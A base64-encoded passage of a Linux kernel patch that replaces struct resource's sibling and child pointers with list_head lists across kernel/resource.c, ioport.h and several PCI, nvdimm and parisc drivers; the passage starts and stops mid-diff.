IDI4YWZkZDY2ODkwNS4uZjUzZDQxMGQ5OTgxIDEwMDY0NAotLS0gYS9kcml2ZXJzL252ZGltbS9u
YW1lc3BhY2VfZGV2cy5jCisrKyBiL2RyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZzLmMKQEAg
LTYzNyw3ICs2MzcsNyBAQCBzdGF0aWMgcmVzb3VyY2Vfc2l6ZV90IHNjYW5fYWxsb2NhdGUoc3Ry
dWN0IG5kX3JlZ2lvbiAqbmRfcmVnaW9uLAogIHJldHJ5OgogCWZpcnN0ID0gMDsKIAlmb3JfZWFj
aF9kcGFfcmVzb3VyY2UobmRkLCByZXMpIHsKLQkJc3RydWN0IHJlc291cmNlICpuZXh0ID0gcmVz
LT5zaWJsaW5nLCAqbmV3X3JlcyA9IE5VTEw7CisJCXN0cnVjdCByZXNvdXJjZSAqbmV4dCA9IHJl
c291cmNlX3NpYmxpbmcocmVzKSwgKm5ld19yZXMgPSBOVUxMOwogCQlyZXNvdXJjZV9zaXplX3Qg
YWxsb2NhdGUsIGF2YWlsYWJsZSA9IDA7CiAJCWVudW0gYWxsb2NfbG9jIGxvYyA9IEFMTE9DX0VS
UjsKIAkJY29uc3QgY2hhciAqYWN0aW9uOwpAQCAtNzYzLDcgKzc2Myw3IEBAIHN0YXRpYyByZXNv
dXJjZV9zaXplX3Qgc2Nhbl9hbGxvY2F0ZShzdHJ1Y3QgbmRfcmVnaW9uICpuZF9yZWdpb24sCiAJ
ICogYW4gaW5pdGlhbCAicG1lbS1yZXNlcnZlIHBhc3MiLiAgT25seSBkbyBhbiBpbml0aWFsIEJM
SyBhbGxvY2F0aW9uCiAJICogd2hlbiBub25lIG9mIHRoZSBEUEEgc3BhY2UgaXMgcmVzZXJ2ZWQu
CiAJICovCi0JaWYgKChpc19wbWVtIHx8ICFuZGQtPmRwYS5jaGlsZCkgJiYgbiA9PSB0b19hbGxv
Y2F0ZSkKKwlpZiAoKGlzX3BtZW0gfHwgbGlzdF9lbXB0eSgmbmRkLT5kcGEuY2hpbGQpKSAmJiBu
ID09IHRvX2FsbG9jYXRlKQogCQlyZXR1cm4gaW5pdF9kcGFfYWxsb2NhdGlvbihsYWJlbF9pZCwg
bmRfcmVnaW9uLCBuZF9tYXBwaW5nLCBuKTsKIAlyZXR1cm4gbjsKIH0KQEAgLTc3OSw3ICs3Nzks
NyBAQCBzdGF0aWMgaW50IG1lcmdlX2RwYShzdHJ1Y3QgbmRfcmVnaW9uICpuZF9yZWdpb24sCiAg
cmV0cnk6CiAJZm9yX2VhY2hfZHBhX3Jlc291cmNlKG5kZCwgcmVzKSB7CiAJCWludCByYzsKLQkJ
c3RydWN0IHJlc291cmNlICpuZXh0ID0gcmVzLT5zaWJsaW5nOworCQlzdHJ1Y3QgcmVzb3VyY2Ug
Km5leHQgPSByZXNvdXJjZV9zaWJsaW5nKHJlcyk7CiAJCXJlc291cmNlX3NpemVfdCBlbmQgPSBy
ZXMtPnN0YXJ0ICsgcmVzb3VyY2Vfc2l6ZShyZXMpOwogCiAJCWlmICghbmV4dCB8fCBzdHJjbXAo
cmVzLT5uYW1lLCBsYWJlbF9pZC0+aWQpICE9IDAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvbnZkaW1t
L25kLmggYi9kcml2ZXJzL252ZGltbS9uZC5oCmluZGV4IDMyZTAzNjRiNDhiOS4uZGE3ZGExNWUw
M2U3IDEwMDY0NAotLS0gYS9kcml2ZXJzL252ZGltbS9uZC5oCisrKyBiL2RyaXZlcnMvbnZkaW1t
L25kLmgKQEAgLTEwMiwxMSArMTAyLDEwIEBAIHVuc2lnbmVkIHNpemVvZl9uYW1lc3BhY2VfbGFi
ZWwoc3RydWN0IG52ZGltbV9kcnZkYXRhICpuZGQpOwogCQkodW5zaWduZWQgbG9uZyBsb25nKSAo
cmVzID8gcmVzLT5zdGFydCA6IDApLCAjI2FyZykKIAogI2RlZmluZSBmb3JfZWFjaF9kcGFfcmVz
b3VyY2UobmRkLCByZXMpIFwKLQlmb3IgKHJlcyA9IChuZGQpLT5kcGEuY2hpbGQ7IHJlczsgcmVz
ID0gcmVzLT5zaWJsaW5nKQorCWxpc3RfZm9yX2VhY2hfZW50cnkocmVzLCAmKG5kZCktPmRwYS5j
aGlsZCwgc2libGluZykKIAogI2RlZmluZSBmb3JfZWFjaF9kcGFfcmVzb3VyY2Vfc2FmZShuZGQs
IHJlcywgbmV4dCkgXAotCWZvciAocmVzID0gKG5kZCktPmRwYS5jaGlsZCwgbmV4dCA9IHJlcyA/
IHJlcy0+c2libGluZyA6IE5VTEw7IFwKLQkJCXJlczsgcmVzID0gbmV4dCwgbmV4dCA9IG5leHQg
PyBuZXh0LT5zaWJsaW5nIDogTlVMTCkKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X3NhZmUocmVzLCBu
ZXh0LCAmKG5kZCktPmRwYS5jaGlsZCwgc2libGluZykKIAogc3RydWN0IG5kX3BlcmNwdV9sYW5l
IHsKIAlpbnQgY291bnQ7CmRpZmYgLS1naXQgYS9kcml2ZXJzL29mL2FkZHJlc3MuYyBiL2RyaXZl
cnMvb2YvYWRkcmVzcy5jCmluZGV4IDUzMzQ5OTEyYWM3NS4uZTJlMjU3MTlhYjUyIDEwMDY0NAot
LS0gYS9kcml2ZXJzL29mL2FkZHJlc3MuYworKysgYi9kcml2ZXJzL29mL2FkZHJlc3MuYwpAQCAt
MzMwLDcgKzMzMCw5IEBAIGludCBvZl9wY2lfcmFuZ2VfdG9fcmVzb3VyY2Uoc3RydWN0IG9mX3Bj
aV9yYW5nZSAqcmFuZ2UsCiB7CiAJaW50IGVycjsKIAlyZXMtPmZsYWdzID0gcmFuZ2UtPmZsYWdz
OwotCXJlcy0+cGFyZW50ID0gcmVzLT5jaGlsZCA9IHJlcy0+c2libGluZyA9IE5VTEw7CisJcmVz
LT5wYXJlbnQgPSBOVUxMOworCUlOSVRfTElTVF9IRUFEKCZyZXMtPmNoaWxkKTsKKwlJTklUX0xJ
U1RfSEVBRCgmcmVzLT5zaWJsaW5nKTsKIAlyZXMtPm5hbWUgPSBucC0+ZnVsbF9uYW1lOwogCiAJ
aWYgKHJlcy0+ZmxhZ3MgJiBJT1JFU09VUkNFX0lPKSB7CmRpZmYgLS1naXQgYS9kcml2ZXJzL3Bh
cmlzYy9sYmFfcGNpLmMgYi9kcml2ZXJzL3BhcmlzYy9sYmFfcGNpLmMKaW5kZXggNjliZDk4NDIx
ZWIxLi43NDgyYmRmZDE5NTkgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMvcGFyaXNjL2xiYV9wY2kuYwor
KysgYi9kcml2ZXJzL3BhcmlzYy9sYmFfcGNpLmMKQEAgLTE3MCw4ICsxNzAsOCBAQCBsYmFfZHVt
cF9yZXMoc3RydWN0IHJlc291cmNlICpyLCBpbnQgZCkKIAlmb3IgKGkgPSBkOyBpIDsgLS1pKSBw
cmludGsoIiAiKTsKIAlwcmludGsoS0VSTl9ERUJVRyAiJXAgWyVseCwlbHhdLyVseFxuIiwgciwK
IAkJKGxvbmcpci0+c3RhcnQsIChsb25nKXItPmVuZCwgci0+ZmxhZ3MpOwotCWxiYV9kdW1wX3Jl
cyhyLT5jaGlsZCwgZCsyKTsKLQlsYmFfZHVtcF9yZXMoci0+c2libGluZywgZCk7CisJbGJhX2R1
bXBfcmVzKHJlc291cmNlX2ZpcnN0X2NoaWxkKCZyLT5jaGlsZCksIGQrMik7CisJbGJhX2R1bXBf
cmVzKHJlc291cmNlX3NpYmxpbmcociksIGQpOwogfQogCiAKZGlmZiAtLWdpdCBhL2RyaXZlcnMv
cGNpL2NvbnRyb2xsZXIvdm1kLmMgYi9kcml2ZXJzL3BjaS9jb250cm9sbGVyL3ZtZC5jCmluZGV4
IDk0MmI2NGZjN2YxZi4uZTNhY2UyMDM0NWM3IDEwMDY0NAotLS0gYS9kcml2ZXJzL3BjaS9jb250
cm9sbGVyL3ZtZC5jCisrKyBiL2RyaXZlcnMvcGNpL2NvbnRyb2xsZXIvdm1kLmMKQEAgLTU0Miwx
NCArNTQyLDE0IEBAIHN0YXRpYyBzdHJ1Y3QgcGNpX29wcyB2bWRfb3BzID0gewogCiBzdGF0aWMg
dm9pZCB2bWRfYXR0YWNoX3Jlc291cmNlcyhzdHJ1Y3Qgdm1kX2RldiAqdm1kKQogewotCXZtZC0+
ZGV2LT5yZXNvdXJjZVtWTURfTUVNQkFSMV0uY2hpbGQgPSAmdm1kLT5yZXNvdXJjZXNbMV07Ci0J
dm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIyXS5jaGlsZCA9ICZ2bWQtPnJlc291cmNlc1sy
XTsKKwlsaXN0X2FkZCgmdm1kLT5yZXNvdXJjZXNbMV0uc2libGluZywgJnZtZC0+ZGV2LT5yZXNv
dXJjZVtWTURfTUVNQkFSMV0uY2hpbGQpOworCWxpc3RfYWRkKCZ2bWQtPnJlc291cmNlc1syXS5z
aWJsaW5nLCAmdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIyXS5jaGlsZCk7CiB9CiAKIHN0
YXRpYyB2b2lkIHZtZF9kZXRhY2hfcmVzb3VyY2VzKHN0cnVjdCB2bWRfZGV2ICp2bWQpCiB7Ci0J
dm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIxXS5jaGlsZCA9IE5VTEw7Ci0Jdm1kLT5kZXYt
PnJlc291cmNlW1ZNRF9NRU1CQVIyXS5jaGlsZCA9IE5VTEw7CisJSU5JVF9MSVNUX0hFQUQoJnZt
ZC0+ZGV2LT5yZXNvdXJjZVtWTURfTUVNQkFSMV0uY2hpbGQpOworCUlOSVRfTElTVF9IRUFEKCZ2
bWQtPmRldi0+cmVzb3VyY2VbVk1EX01FTUJBUjJdLmNoaWxkKTsKIH0KIAogLyoKZGlmZiAtLWdp
dCBhL2RyaXZlcnMvcGNpL3Byb2JlLmMgYi9kcml2ZXJzL3BjaS9wcm9iZS5jCmluZGV4IGFjODc2
ZTMyZGU0Yi4uOTYyNGRkMWRmZDQ5IDEwMDY0NAotLS0gYS9kcml2ZXJzL3BjaS9wcm9iZS5jCisr
KyBiL2RyaXZlcnMvcGNpL3Byb2JlLmMKQEAgLTU5LDYgKzU5LDggQEAgc3RhdGljIHN0cnVjdCBy
ZXNvdXJjZSAqZ2V0X3BjaV9kb21haW5fYnVzbl9yZXMoaW50IGRvbWFpbl9ucikKIAlyLT5yZXMu
c3RhcnQgPSAwOwogCXItPnJlcy5lbmQgPSAweGZmOwogCXItPnJlcy5mbGFncyA9IElPUkVTT1VS
Q0VfQlVTIHwgSU9SRVNPVVJDRV9QQ0lfRklYRUQ7CisJSU5JVF9MSVNUX0hFQUQoJnItPnJlcy5j
aGlsZCk7CisJSU5JVF9MSVNUX0hFQUQoJnItPnJlcy5zaWJsaW5nKTsKIAogCWxpc3RfYWRkX3Rh
aWwoJnItPmxpc3QsICZwY2lfZG9tYWluX2J1c25fcmVzX2xpc3QpOwogCmRpZmYgLS1naXQgYS9k
cml2ZXJzL3BjaS9zZXR1cC1idXMuYyBiL2RyaXZlcnMvcGNpL3NldHVwLWJ1cy5jCmluZGV4IDc5
YjE4MjRlODNiNC4uOGU2ODVhZjg5MzhkIDEwMDY0NAotLS0gYS9kcml2ZXJzL3BjaS9zZXR1cC1i
dXMuYworKysgYi9kcml2ZXJzL3BjaS9zZXR1cC1idXMuYwpAQCAtMjEwNyw3ICsyMTA3LDcgQEAg
aW50IHBjaV9yZWFzc2lnbl9icmlkZ2VfcmVzb3VyY2VzKHN0cnVjdCBwY2lfZGV2ICpicmlkZ2Us
IHVuc2lnbmVkIGxvbmcgdHlwZSkKIAkJCQljb250aW51ZTsKIAogCQkJLyogSWdub3JlIEJBUnMg
d2hpY2ggYXJlIHN0aWxsIGluIHVzZSAqLwotCQkJaWYgKHJlcy0+Y2hpbGQpCisJCQlpZiAoIWxp
c3RfZW1wdHkoJnJlcy0+Y2hpbGQpKQogCQkJCWNvbnRpbnVlOwogCiAJCQlyZXQgPSBhZGRfdG9f
bGlzdCgmc2F2ZWQsIGJyaWRnZSwgcmVzLCAwLCAwKTsKZGlmZiAtLWdpdCBhL2luY2x1ZGUvbGlu
dXgvaW9wb3J0LmggYi9pbmNsdWRlL2xpbnV4L2lvcG9ydC5oCmluZGV4IGRmZGNkMGJmZTU0ZS4u
Yjc0NTZhZTg4OWRkIDEwMDY0NAotLS0gYS9pbmNsdWRlL2xpbnV4L2lvcG9ydC5oCisrKyBiL2lu
Y2x1ZGUvbGludXgvaW9wb3J0LmgKQEAgLTEyLDYgKzEyLDcgQEAKICNpZm5kZWYgX19BU1NFTUJM
WV9fCiAjaW5jbHVkZSA8bGludXgvY29tcGlsZXIuaD4KICNpbmNsdWRlIDxsaW51eC90eXBlcy5o
PgorI2luY2x1ZGUgPGxpbnV4L2xpc3QuaD4KIC8qCiAgKiBSZXNvdXJjZXMgYXJlIHRyZWUtbGlr
ZSwgYWxsb3dpbmcKICAqIG5lc3RpbmcgZXRjLi4KQEAgLTIyLDcgKzIzLDggQEAgc3RydWN0IHJl
c291cmNlIHsKIAljb25zdCBjaGFyICpuYW1lOwogCXVuc2lnbmVkIGxvbmcgZmxhZ3M7CiAJdW5z
aWduZWQgbG9uZyBkZXNjOwotCXN0cnVjdCByZXNvdXJjZSAqcGFyZW50LCAqc2libGluZywgKmNo
aWxkOworCXN0cnVjdCBsaXN0X2hlYWQgY2hpbGQsIHNpYmxpbmc7CisJc3RydWN0IHJlc291cmNl
ICpwYXJlbnQ7CiB9OwogCiAvKgpAQCAtMjE2LDcgKzIxOCw2IEBAIHN0YXRpYyBpbmxpbmUgYm9v
bCByZXNvdXJjZV9jb250YWlucyhzdHJ1Y3QgcmVzb3VyY2UgKnIxLCBzdHJ1Y3QgcmVzb3VyY2Ug
KnIyKQogCXJldHVybiByMS0+c3RhcnQgPD0gcjItPnN0YXJ0ICYmIHIxLT5lbmQgPj0gcjItPmVu
ZDsKIH0KIAotCiAvKiBDb252ZW5pZW5jZSBzaG9ydGhhbmQgd2l0aCBhbGxvY2F0aW9uICovCiAj
ZGVmaW5lIHJlcXVlc3RfcmVnaW9uKHN0YXJ0LG4sbmFtZSkJCV9fcmVxdWVzdF9yZWdpb24oJmlv
cG9ydF9yZXNvdXJjZSwgKHN0YXJ0KSwgKG4pLCAobmFtZSksIDApCiAjZGVmaW5lIHJlcXVlc3Rf
bXV4ZWRfcmVnaW9uKHN0YXJ0LG4sbmFtZSkJX19yZXF1ZXN0X3JlZ2lvbigmaW9wb3J0X3Jlc291
cmNlLCAoc3RhcnQpLCAobiksIChuYW1lKSwgSU9SRVNPVVJDRV9NVVhFRCkKQEAgLTI4Nyw2ICsy
ODgsMTggQEAgc3RhdGljIGlubGluZSBib29sIHJlc291cmNlX292ZXJsYXBzKHN0cnVjdCByZXNv
dXJjZSAqcjEsIHN0cnVjdCByZXNvdXJjZSAqcjIpCiAgICAgICAgcmV0dXJuIChyMS0+c3RhcnQg
PD0gcjItPmVuZCAmJiByMS0+ZW5kID49IHIyLT5zdGFydCk7CiB9CiAKK3N0YXRpYyBpbmxpbmUg
c3RydWN0IHJlc291cmNlICpyZXNvdXJjZV9zaWJsaW5nKHN0cnVjdCByZXNvdXJjZSAqcmVzKQor
eworCWlmIChyZXMtPnBhcmVudCAmJiAhbGlzdF9pc19sYXN0KCZyZXMtPnNpYmxpbmcsICZyZXMt
PnBhcmVudC0+Y2hpbGQpKQorCQlyZXR1cm4gbGlzdF9uZXh0X2VudHJ5KHJlcywgc2libGluZyk7
CisJcmV0dXJuIE5VTEw7Cit9CisKK3N0YXRpYyBpbmxpbmUgc3RydWN0IHJlc291cmNlICpyZXNv
dXJjZV9maXJzdF9jaGlsZChzdHJ1Y3QgbGlzdF9oZWFkICpoZWFkKQoreworCXJldHVybiBsaXN0
X2ZpcnN0X2VudHJ5X29yX251bGwoaGVhZCwgc3RydWN0IHJlc291cmNlLCBzaWJsaW5nKTsKK30K
KwogCiAjZW5kaWYgLyogX19BU1NFTUJMWV9fICovCiAjZW5kaWYJLyogX0xJTlVYX0lPUE9SVF9I
ICovCmRpZmYgLS1naXQgYS9rZXJuZWwvcmVzb3VyY2UuYyBiL2tlcm5lbC9yZXNvdXJjZS5jCmlu
ZGV4IDgxY2NkMTljMWQ5Zi4uYzk2ZTU4ZDNkMmY4IDEwMDY0NAotLS0gYS9rZXJuZWwvcmVzb3Vy
Y2UuYworKysgYi9rZXJuZWwvcmVzb3VyY2UuYwpAQCAtMzEsNiArMzEsOCBAQCBzdHJ1Y3QgcmVz
b3VyY2UgaW9wb3J0X3Jlc291cmNlID0gewogCS5zdGFydAk9IDAsCiAJLmVuZAk9IElPX1NQQUNF
X0xJTUlULAogCS5mbGFncwk9IElPUkVTT1VSQ0VfSU8sCisJLnNpYmxpbmcgPSBMSVNUX0hFQURf
SU5JVChpb3BvcnRfcmVzb3VyY2Uuc2libGluZyksCisJLmNoaWxkICA9IExJU1RfSEVBRF9JTklU
KGlvcG9ydF9yZXNvdXJjZS5jaGlsZCksCiB9OwogRVhQT1JUX1NZTUJPTChpb3BvcnRfcmVzb3Vy
Y2UpOwogCkBAIC0zOSw2ICs0MSw4IEBAIHN0cnVjdCByZXNvdXJjZSBpb21lbV9yZXNvdXJjZSA9
IHsKIAkuc3RhcnQJPSAwLAogCS5lbmQJPSAtMSwKIAkuZmxhZ3MJPSBJT1JFU09VUkNFX01FTSwK
Kwkuc2libGluZyA9IExJU1RfSEVBRF9JTklUKGlvbWVtX3Jlc291cmNlLnNpYmxpbmcpLAorCS5j
aGlsZCAgPSBMSVNUX0hFQURfSU5JVChpb21lbV9yZXNvdXJjZS5jaGlsZCksCiB9OwogRVhQT1JU
X1NZTUJPTChpb21lbV9yZXNvdXJjZSk7CiAKQEAgLTU3LDIwICs2MSwyMCBAQCBzdGF0aWMgREVG
SU5FX1JXTE9DSyhyZXNvdXJjZV9sb2NrKTsKICAqIGJ5IGJvb3QgbWVtIGFmdGVyIHRoZSBzeXN0
ZW0gaXMgdXAuIFNvIGZvciByZXVzaW5nIHRoZSByZXNvdXJjZSBlbnRyeQogICogd2UgbmVlZCB0
byByZW1lbWJlciB0aGUgcmVzb3VyY2UuCiAgKi8KLXN0YXRpYyBzdHJ1Y3QgcmVzb3VyY2UgKmJv
b3RtZW1fcmVzb3VyY2VfZnJlZTsKK3N0YXRpYyBzdHJ1Y3QgbGlzdF9oZWFkIGJvb3RtZW1fcmVz
b3VyY2VfZnJlZSA9IExJU1RfSEVBRF9JTklUKGJvb3RtZW1fcmVzb3VyY2VfZnJlZSk7CiBzdGF0
aWMgREVGSU5FX1NQSU5MT0NLKGJvb3RtZW1fcmVzb3VyY2VfbG9jayk7CiAKIHN0YXRpYyBzdHJ1
Y3QgcmVzb3VyY2UgKm5leHRfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpwLCBib29sIHNpYmxp
bmdfb25seSkKIHsKIAkvKiBDYWxsZXIgd2FudHMgdG8gdHJhdmVyc2UgdGhyb3VnaCBzaWJsaW5n
cyBvbmx5ICovCiAJaWYgKHNpYmxpbmdfb25seSkKLQkJcmV0dXJuIHAtPnNpYmxpbmc7CisJCXJl
dHVybiByZXNvdXJjZV9zaWJsaW5nKHApOwogCi0JaWYgKHAtPmNoaWxkKQotCQlyZXR1cm4gcC0+
Y2hpbGQ7Ci0Jd2hpbGUgKCFwLT5zaWJsaW5nICYmIHAtPnBhcmVudCkKKwlpZiAoIWxpc3RfZW1w
dHkoJnAtPmNoaWxkKSkKKwkJcmV0dXJuIHJlc291cmNlX2ZpcnN0X2NoaWxkKCZwLT5jaGlsZCk7
CisJd2hpbGUgKCFyZXNvdXJjZV9zaWJsaW5nKHApICYmIHAtPnBhcmVudCkKIAkJcCA9IHAtPnBh
cmVudDsKLQlyZXR1cm4gcC0+c2libGluZzsKKwlyZXR1cm4gcmVzb3VyY2Vfc2libGluZyhwKTsK
IH0KIAogc3RhdGljIHZvaWQgKnJfbmV4dChzdHJ1Y3Qgc2VxX2ZpbGUgKm0sIHZvaWQgKnYsIGxv
ZmZfdCAqcG9zKQpAQCAtOTAsNyArOTQsNyBAQCBzdGF0aWMgdm9pZCAqcl9zdGFydChzdHJ1Y3Qg
c2VxX2ZpbGUgKm0sIGxvZmZfdCAqcG9zKQogCXN0cnVjdCByZXNvdXJjZSAqcCA9IFBERV9EQVRB
KGZpbGVfaW5vZGUobS0+ZmlsZSkpOwogCWxvZmZfdCBsID0gMDsKIAlyZWFkX2xvY2soJnJlc291
cmNlX2xvY2spOwotCWZvciAocCA9IHAtPmNoaWxkOyBwICYmIGwgPCAqcG9zOyBwID0gcl9uZXh0
KG0sIHAsICZsKSkKKwlmb3IgKHAgPSByZXNvdXJjZV9maXJzdF9jaGlsZCgmcC0+Y2hpbGQpOyBw
ICYmIGwgPCAqcG9zOyBwID0gcl9uZXh0KG0sIHAsICZsKSkKIAkJOwogCXJldHVybiBwOwogfQpA
QCAtMTUzLDggKzE1Nyw3IEBAIHN0YXRpYyB2b2lkIGZyZWVfcmVzb3VyY2Uoc3RydWN0IHJlc291
cmNlICpyZXMpCiAKIAlpZiAoIVBhZ2VTbGFiKHZpcnRfdG9faGVhZF9wYWdlKHJlcykpKSB7CiAJ
CXNwaW5fbG9jaygmYm9vdG1lbV9yZXNvdXJjZV9sb2NrKTsKLQkJcmVzLT5zaWJsaW5nID0gYm9v
dG1lbV9yZXNvdXJjZV9mcmVlOwotCQlib290bWVtX3Jlc291cmNlX2ZyZWUgPSByZXM7CisJCWxp
c3RfYWRkKCZyZXMtPnNpYmxpbmcsICZib290bWVtX3Jlc291cmNlX2ZyZWUpOwogCQlzcGluX3Vu
bG9jaygmYm9vdG1lbV9yZXNvdXJjZV9sb2NrKTsKIAl9IGVsc2UgewogCQlrZnJlZShyZXMpOwpA
QCAtMTY2LDEwICsxNjksOSBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlICphbGxvY19yZXNvdXJj
ZShnZnBfdCBmbGFncykKIAlzdHJ1Y3QgcmVzb3VyY2UgKnJlcyA9IE5VTEw7CiAKIAlzcGluX2xv
Y2soJmJvb3RtZW1fcmVzb3VyY2VfbG9jayk7Ci0JaWYgKGJvb3RtZW1fcmVzb3VyY2VfZnJlZSkg
ewotCQlyZXMgPSBib290bWVtX3Jlc291cmNlX2ZyZWU7Ci0JCWJvb3RtZW1fcmVzb3VyY2VfZnJl
ZSA9IHJlcy0+c2libGluZzsKLQl9CisJcmVzID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJmJvb3Rt
ZW1fcmVzb3VyY2VfZnJlZSk7CisJaWYgKHJlcykKKwkJbGlzdF9kZWwoJnJlcy0+c2libGluZyk7
CiAJc3Bpbl91bmxvY2soJmJvb3RtZW1fcmVzb3VyY2VfbG9jayk7CiAKIAlpZiAocmVzKQpAQCAt
MTc3LDYgKzE3OSw4IEBAIHN0YXRpYyBzdHJ1Y3QgcmVzb3VyY2UgKmFsbG9jX3Jlc291cmNlKGdm
cF90IGZsYWdzKQogCWVsc2UKIAkJcmVzID0ga3phbGxvYyhzaXplb2Yoc3RydWN0IHJlc291cmNl
KSwgZmxhZ3MpOwogCisJSU5JVF9MSVNUX0hFQUQoJnJlcy0+Y2hpbGQpOworCUlOSVRfTElTVF9I
RUFEKCZyZXMtPnNpYmxpbmcpOwogCXJldHVybiByZXM7CiB9CiAKQEAgLTE4NSw3ICsxODksNyBA
QCBzdGF0aWMgc3RydWN0IHJlc291cmNlICogX19yZXF1ZXN0X3Jlc291cmNlKHN0cnVjdCByZXNv
dXJjZSAqcm9vdCwgc3RydWN0IHJlc291cgogewogCXJlc291cmNlX3NpemVfdCBzdGFydCA9IG5l
dy0+c3RhcnQ7CiAJcmVzb3VyY2Vfc2l6ZV90IGVuZCA9IG5ldy0+ZW5kOwotCXN0cnVjdCByZXNv
dXJjZSAqdG1wLCAqKnA7CisJc3RydWN0IHJlc291cmNlICp0bXA7CiAKIAlpZiAoZW5kIDwgc3Rh
cnQpCiAJCXJldHVybiByb290OwpAQCAtMTkzLDY0ICsxOTcsNjIgQEAgc3RhdGljIHN0cnVjdCBy
ZXNvdXJjZSAqIF9fcmVxdWVzdF9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKnJvb3QsIHN0cnVj
dCByZXNvdXIKIAkJcmV0dXJuIHJvb3Q7CiAJaWYgKGVuZCA+IHJvb3QtPmVuZCkKIAkJcmV0dXJu
IHJvb3Q7Ci0JcCA9ICZyb290LT5jaGlsZDsKLQlmb3IgKDs7KSB7Ci0JCXRtcCA9ICpwOwotCQlp
ZiAoIXRtcCB8fCB0bXAtPnN0YXJ0ID4gZW5kKSB7Ci0JCQluZXctPnNpYmxpbmcgPSB0bXA7Ci0J
CQkqcCA9IG5ldzsKKworCWlmIChsaXN0X2VtcHR5KCZyb290LT5jaGlsZCkpIHsKKwkJbGlzdF9h
ZGQoJm5ldy0+c2libGluZywgJnJvb3QtPmNoaWxkKTsKKwkJbmV3LT5wYXJlbnQgPSByb290Owor
CQlJTklUX0xJU1RfSEVBRCgmbmV3LT5jaGlsZCk7CisJCXJldHVybiBOVUxMOworCX0KKworCWxp
c3RfZm9yX2VhY2hfZW50cnkodG1wLCAmcm9vdC0+Y2hpbGQsIHNpYmxpbmcpIHsKKwkJaWYgKHRt
cC0+c3RhcnQgPiBlbmQpIHsKKwkJCWxpc3RfYWRkKCZuZXctPnNpYmxpbmcsIHRtcC0+c2libGlu
Zy5wcmV2KTsKIAkJCW5ldy0+cGFyZW50ID0gcm9vdDsKKwkJCUlOSVRfTElTVF9IRUFEKCZuZXct
PmNoaWxkKTsKIAkJCXJldHVybiBOVUxMOwogCQl9Ci0JCXAgPSAmdG1wLT5zaWJsaW5nOwogCQlp
ZiAodG1wLT5lbmQgPCBzdGFydCkKIAkJCWNvbnRpbnVlOwogCQlyZXR1cm4gdG1wOwogCX0KKwor
CWxpc3RfYWRkX3RhaWwoJm5ldy0+c2libGluZywgJnJvb3QtPmNoaWxkKTsKKwluZXctPnBhcmVu
dCA9IHJvb3Q7CisJSU5JVF9MSVNUX0hFQUQoJm5ldy0+Y2hpbGQpOworCXJldHVybiBOVUxMOwog
fQogCiBzdGF0aWMgaW50IF9fcmVsZWFzZV9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKm9sZCwg
Ym9vbCByZWxlYXNlX2NoaWxkKQogewotCXN0cnVjdCByZXNvdXJjZSAqdG1wLCAqKnAsICpjaGQ7
CisJc3RydWN0IHJlc291cmNlICp0bXAsICpuZXh0LCAqY2hkOwogCi0JcCA9ICZvbGQtPnBhcmVu
dC0+Y2hpbGQ7Ci0JZm9yICg7OykgewotCQl0bXAgPSAqcDsKLQkJaWYgKCF0bXApCi0JCQlicmVh
azsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X3NhZmUodG1wLCBuZXh0LCAmb2xkLT5wYXJlbnQtPmNo
aWxkLCBzaWJsaW5nKSB7CiAJCWlmICh0bXAgPT0gb2xkKSB7Ci0JCQlpZiAocmVsZWFzZV9jaGls
ZCB8fCAhKHRtcC0+Y2hpbGQpKSB7Ci0JCQkJKnAgPSB0bXAtPnNpYmxpbmc7CisJCQlpZiAocmVs
ZWFzZV9jaGlsZCB8fCBsaXN0X2VtcHR5KCZ0bXAtPmNoaWxkKSkgeworCQkJCWxpc3RfZGVsKCZ0
bXAtPnNpYmxpbmcpOwogCQkJfSBlbHNlIHsKLQkJCQlmb3IgKGNoZCA9IHRtcC0+Y2hpbGQ7OyBj
aGQgPSBjaGQtPnNpYmxpbmcpIHsKKwkJCQlsaXN0X2Zvcl9lYWNoX2VudHJ5KGNoZCwgJnRtcC0+
Y2hpbGQsIHNpYmxpbmcpCiAJCQkJCWNoZC0+cGFyZW50ID0gdG1wLT5wYXJlbnQ7Ci0JCQkJCWlm
ICghKGNoZC0+c2libGluZykpCi0JCQkJCQlicmVhazsKLQkJCQl9Ci0JCQkJKnAgPSB0bXAtPmNo
aWxkOwotCQkJCWNoZC0+c2libGluZyA9IHRtcC0+c2libGluZzsKKwkJCQlsaXN0X3NwbGljZSgm
dG1wLT5jaGlsZCwgdG1wLT5zaWJsaW5nLnByZXYpOworCQkJCWxpc3RfZGVsKCZ0bXAtPnNpYmxp
bmcpOwogCQkJfQorCiAJCQlvbGQtPnBhcmVudCA9IE5VTEw7CiAJCQlyZXR1cm4gMDsKIAkJfQot
CQlwID0gJnRtcC0+c2libGluZzsKIAl9CiAJcmV0dXJuIC1FSU5WQUw7CiB9CiAKIHN0YXRpYyB2
b2lkIF9fcmVsZWFzZV9jaGlsZF9yZXNvdXJjZXMoc3RydWN0IHJlc291cmNlICpyKQogewotCXN0
cnVjdCByZXNvdXJjZSAqdG1wLCAqcDsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnRtcCwgKm5leHQ7CiAJ
cmVzb3VyY2Vfc2l6ZV90IHNpemU7CiAKLQlwID0gci0+Y2hpbGQ7Ci0Jci0+Y2hpbGQgPSBOVUxM
OwotCXdoaWxlIChwKSB7Ci0JCXRtcCA9IHA7Ci0JCXAgPSBwLT5zaWJsaW5nOwotCisJbGlzdF9m
b3JfZWFjaF9lbnRyeV9zYWZlKHRtcCwgbmV4dCwgJnItPmNoaWxkLCBzaWJsaW5nKSB7CiAJCXRt
cC0+cGFyZW50ID0gTlVMTDsKLQkJdG1wLT5zaWJsaW5nID0gTlVMTDsKKwkJbGlzdF9kZWxfaW5p
dCgmdG1wLT5zaWJsaW5nKTsKIAkJX19yZWxlYXNlX2NoaWxkX3Jlc291cmNlcyh0bXApOwogCiAJ
